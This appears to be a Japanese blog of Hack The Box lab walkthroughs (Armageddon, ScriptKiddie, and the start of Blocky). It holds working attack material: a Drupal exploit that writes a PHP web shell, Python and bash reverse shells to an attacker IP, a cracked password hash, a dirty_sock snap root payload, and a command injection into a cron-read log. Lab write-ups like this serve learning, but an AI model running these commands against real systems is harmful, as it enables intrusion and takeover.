--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo YLCIJKNM
[+] Result : YLCIJKNM
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'

armageddon.htb>> whoami
apache

 

「apache」のユーザでアクセスが取得できました。

※実行時に以下のようなエラーが出る場合は必要なパッケージがインストールされていない場合があるため、「sudo gem install highline」実行で依存関係の問題を解消できるます。

highline/import (LoadError)

 

このエクスプロイトでは、ディレクトリ移動などができなかったため、Pythonでシェルを取得します。

取得したターミナルで実行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Kaliの待ち受け ┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 4444 148 ⨯ 1 ⚙ listening on [any] 4444 ... connect to [10.10.16.5] from (UNKNOWN) [10.10.10.233] 43634 sh: no job control in this shell sh-4.2$ export PS1="[\u@\t \w]\$ " export PS1="[\u@\t \w]\$ " [apache@01:46:36 /var/www/html]$

 

特権昇格

Drupalは/sites/default/settings.phpにデータベースの接続情報等があるようです。

drupal.stackexchange.com

 

settings.phpの中身

mysqlの接続情報が見れました。
上記の情報を使って、MySQL内のユーザ情報を見てみます。

[apache@02:07:53 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'show tables;' 

<-u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'show tables;'               

Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog

さらに「users」の中身を見てみると、「brucetherealadmin」というユーザがいることが確認できました。

[apache@02:21:11 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'select * from users;'

<-u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'select * from users;'       

uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone    language picture init    data

0                                               NULL    0       0       0       0       NULL            0               NULL

1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu                 filtered_html    1606998756      1607077194      1607076276      1       Europe/London           0       admin@armageddon.eu a:1:{s:7:"overlay";i:1;}

このユーザはローカルにも存在するようです。

[apache@02:29:40 /home]$ ls ./brucetherealadmin
ls ./brucetherealadmin
ls: cannot open directory ./brucetherealadmin: Permission denied

[apache@02:35:55 /home]$ ls /home/bruce
ls /home/bruce
ls: cannot access /home/bruce: No such file or directory 

brucetherealadminのパスワードを解析してみます。

┌──(kali㉿kali)-[~]
└─$ john --wordlist=./rockyou.txt pwd                                                                                  
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

booboo           (?)     

1g 0:00:00:00 DONE (2022-08-22 23:26) 2.127g/s 510.6p/s 510.6c/s 510.6C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

※補足:hashcatの場合

sudo hashcat -m 7900 pwd ./rockyou.txt --force

「brucetherealadmin」のパスワードが「booboo」であることがわかりました。

このアカウント情報でSSH接続してみます。

brucetherealadminでのアクセス結果

上記ユーザはsnapコマンドを実行できるようです。

「snap privilege escalation」等で検索してみると「dirty_sock」という情報が見つかります。

github.com

上記のコードはpython3で動作するもので、そのままでは使用できません。

そのためコードの中身を一部抜き取って使用してみます。

[brucetherealadmin@armageddon ~]$ python --version
Python 2.7.5

[brucetherealadmin@armageddon ~]$ python -c print'"aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"+ "A" * 4256 + "=="' | base64 --decode > exploit.snap

[brucetherealadmin@armageddon ~]$ ls
army.snap  exploit.snap  user.txt  xxxx_1.0_all.snap

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --dangerous --devmode exploit.snap

dirty-sock 0.1 installed

[brucetherealadmin@armageddon ~]$ tail /etc/passwd
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash

[brucetherealadmin@armageddon ~]$ su dirty_sock
パスワード:

[dirty_sock@armageddon brucetherealadmin]$ sudo -i
あなたはシステム管理者から通常の講習を受けたはずです。
これは通常、以下の3点に要約されます:
    #1) 他人のプライバシーを尊重すること。
    #2) タイプする前に考えること。
    #3) 大いなる力には大いなる責任が伴うこと。
[sudo] dirty_sock のパスワード:

[root@armageddon ~]# 

rootが取得できました。

※rootまで取得をやってみましたが、上記の特権昇格の部分は自分の中で整理しきれていません。。。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.hackingarticles.in

infosecwriteups.com

captainroot.com

 

【Hack The Box】ScriptKiddie

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.226
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.10.226
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TCP22,5000が開いていることがわかりました。

 

TCP/5000にアクセスしてみると以下のような画面が表示されます。

ブラウザでアクセスした様子

dirbやnmapで得られたパッケージのバージョン等でアクセスにつながる情報がないか調べましたが、有用な情報は見つけられませんでした。余談ですが、SQLiの調査をすると怒られました。

SQLi調査時のメッセージ

 

アクセス取得

このサイトではmsfvenomを使用することができるようです。

調べてみるとmsfvenomに対するexploit(CVE-2020-7384)が見つかりました。

また、テンプレートをアップロードできるような機能もあります。

上記でアクセス取得を試みます。

┌──(kali㉿kali)-[~]
└─$ msfconsole                          
         .                                         .                                                                         
 .                                                                                                                           
                                                                                                                             
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o                                                            
       '   dB'                     BBP                                                                                       
    dB'dB'dB' dBBP     dBP     dBP BB                                                                                        
   dB'dB'dB' dBP      dBP     dBP  BB                                                                                        
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB                                                                                        
                                                                                                                             
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP                                              
          .                  .                  dB' dBP    dB'.BP                                                            
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP                                                  
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP                                                   
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP                                                    
                                                                                                                             
                                                                    .                                                        
                .                                                                                                            
        o                  To boldly go where no                                                                             
                            shell has gone before                                                                            
                                                                                                                             


       =[ metasploit v6.2.11-dev                          ]
+ -- --=[ 2233 exploits - 1179 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]


Metasploit tip: Start commands with a space to avoid saving 
them to history


msf6 > searh venom
[-] Unknown command: searh
msf6 > search venom


Matching Modules
================


   #  Name                                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                                    ---------------  ----       -----  -----------
   0  exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection  2020-10-29       excellent  No     Rapid7 Metasploit Framework msfvenom APK Template Command Injection




Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection                                                                                                          


msf6 > use 0
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.16.4
LHOST => 10.10.16.4
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run


[-] Exploit failed: cmd/unix/python/meterpreter/reverse_tcp: All encoders failed to encode.

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show payloads Compatible Payloads ===================    #   Name                                                  Disclosure Date  Rank    Check  Description    -   ----                                                  ---------------  ----    -----  -----------    0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)    1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)    2   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)    3   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)    4   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)    5   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)    6   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6    7   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)    8   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)    9   payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6    10  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)    11  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)    12  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6    13  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)    14  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)    15  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)    16  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution    17  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)    18  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)    19  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager    20  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support    21  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager    22  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager    23  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager    24  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager    25  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support    26  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline    27  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline    28  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline    29  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline    30  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)    31  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)    32  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)    33  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)    34  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)    35  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)    36  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)    37  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)    38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)    39  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)    40  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)    41  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)    42  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)    43  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)    44  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)    45  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)    46  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)    47  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)    48  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)    49  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)    50  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)    51  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)    52  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)    53  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)    54  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)    55  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)    56  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)    57  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)    58  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH    59  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)    60  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)    61  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)    62  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)    63  payload/generic/custom                                                 normal  No     Custom Payload    64  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline    65  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline    66  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload 38 payload => cmd/unix/reverse_bash msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run [+] msf.apk stored at /home/kali/.msf4/local/msf.apk msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) >

 

※自分の環境では、exploitを実行すると「All encoders failed to encode.」といったエラーが出て詰まりました。

調べてみると、ペイロードの要件が合わない、うまく設定されていないような場合に出るエラーのようでした。今回は38を指定して実行することができました。

※PAYLOADの指定が正常にできた場合は以下のような応答があります。

set payload 38 payload => cmd/unix/reverse_bash

forum.hackthebox.com

 

上記で作成したファイルを使用してアクセス取得を試みます。

ncで待ち受けた状態でファイルアップロードを実行します。

作成したファイルによるアクセス取得

 

アクセス取得

 

権限昇格

sudo -lでは実行できるコマンドはありませんでした。

また、python3は実行可能なようです。

python3 --version
Python 3.8.5
python --version
sh: 9: python: not found

pythonを使用してインタラクティブシェルに変更します。

┌──(kali㉿kali)-[~]
└─$ sudo nc -nvlp 4444 
[sudo] kali のパスワード:
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.226] 57454
whoami
kid

python3 -c 'import pty;pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ 

linpeasを実行して情報を集めてみると、「pwn」というユーザと、そのユーザのホームディレクトリに「scanlosers.sh」があることがわかります。

kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if  $(wc -l < $log) -gt 0 ; then echo -n > $log; fi

現在ログインしているkidのディレクトリ配下のファイルを読み込んでいるようです。

このファイルにリバースシェルのコマンドを挿入してpwnのアクセス取得を試みます。

※なおhackersのファイルは頻繁にアクセスされているようで、書き込みを行うとすぐに削除されます。

echo "  test|bash -c '/bin/bash -l > /dev/tcp/10.10.16.2/4445 0<&1 2>&1'" > hackers

 

pwnアクセス取得

待ち受けたターミナルでシェルを取得できました。

sudo -lを実行するとmsfconsoleがroot権限で実行できるようです。

root取得

msfconsoleからrootを取得できました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.secjuice.com

www.hackingarticles.in

psychovik.medium.com

 

 

【Hack The Box】Blocky

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.37       
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.10.37
Host is up (0.20s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE   VERSION
21/tcp    open   ftp       ProFTPD 1.3.5a
22/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open   http      Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
8192/tcp  closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ブラウザでIPアドレス指定してアクセスしたところ、ページが表示されませんでした。

IPアドレスではアクセスできない

blocky.htbに移動した旨のメッセージ記載があるので、Kaliの/etc/hostsを編集してURLでアクセスできるようします。

URL指定でのアクセス結果

※blockyの設定は確認できませんでしたが、Apache等にはIPアドレス指定でのリクエストを拒否する設定があります。

qiita.com

 

また、/etc/hosts変更後にnmapを実施すると追加情報を取得することができました。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- blocky.htb 
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for blocky.htb (10.10.10.37)
Host is up (0.28s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE   VERSION
21/tcp    open   ftp       ProFTPD 1.3.5a
22/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open   http      Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 4.8
|_http-title: BlockyCraft – Under Construction!
8192/tcp  closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

WordPressで構築されたサイトであることがわかりました。

Webに対して、dirbおよびwpscanで調査を進めます。

 

dirbの結果

┌──(kali㉿kali)-[~]
└─$ dirb http://blocky.htb                                                                                             130 ⨯


-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://blocky.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


-----------------


GENERATED WORDS: 4612                                                          


---- Scanning URL: http://blocky.htb/ ----
+ http://blocky.htb/index.php (CODE:301|SIZE:0)                                                                             
==> DIRECTORY: http://blocky.htb/javascript/                                                                                
==> DIRECTORY: http://blocky.htb/phpmyadmin/                                                                                
==> DIRECTORY: http://blocky.htb/plugins/                                                                                   
+ http://blocky.htb/server-status (CODE:403|SIZE:298)                                                                       
==> DIRECTORY: http://blocky.htb/wiki/                                                                                      
==> DIRECTORY: http://blocky.htb/wp-admin/                                                                                  
==> DIRECTORY: http://blocky.htb/wp-content/                                                                                
==> DIRECTORY: http://blocky.htb/wp-includes/                                                                               
+ http://blocky.htb/xmlrpc.php (CODE:405|SIZE:42)                                                                           
                                                                                                                            
---- Entering directory: http://blocky.htb/javascript/ ----
==> DIRECTORY: http://blocky.htb/javascript/jquery/                                                                         
                                                                                                                            
---- Entering directory: http://blocky.htb/phpmyadmin/ ----
==> DIRECTORY: http://blocky.htb/phpmyadmin/doc/                                                                            
+ http://blocky.htb/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)                                                            
+ http://blocky.htb/phpmyadmin/index.php (CODE:200|SIZE:10321)                                                              
==> DIRECTORY: http://blocky.htb/phpmyadmin/js/                                                                             
+ http://blocky.htb/phpmyadmin/libraries (CODE:403|SIZE:305)                                                                
==> DIRECTORY: http://blocky.htb/phpmyadmin/locale/                                                                         
+ http://blocky.htb/phpmyadmin/phpinfo.php (CODE:200|SIZE:10323)                                                            
+ http://blocky.htb/phpmyadmin/setup (CODE:401|SIZE:457)                                                                    
==> DIRECTORY: http://blocky.htb/phpmyadmin/sql/                                                                            
==> DIRECTORY: http://blocky.htb/phpmyadmin/templates/                                                                      
==> DIRECTORY: http://blocky.htb/phpmyadmin/themes/                                                                         
                                                                                                                            
---- Entering directory: http://blocky.htb/plugins/ ----
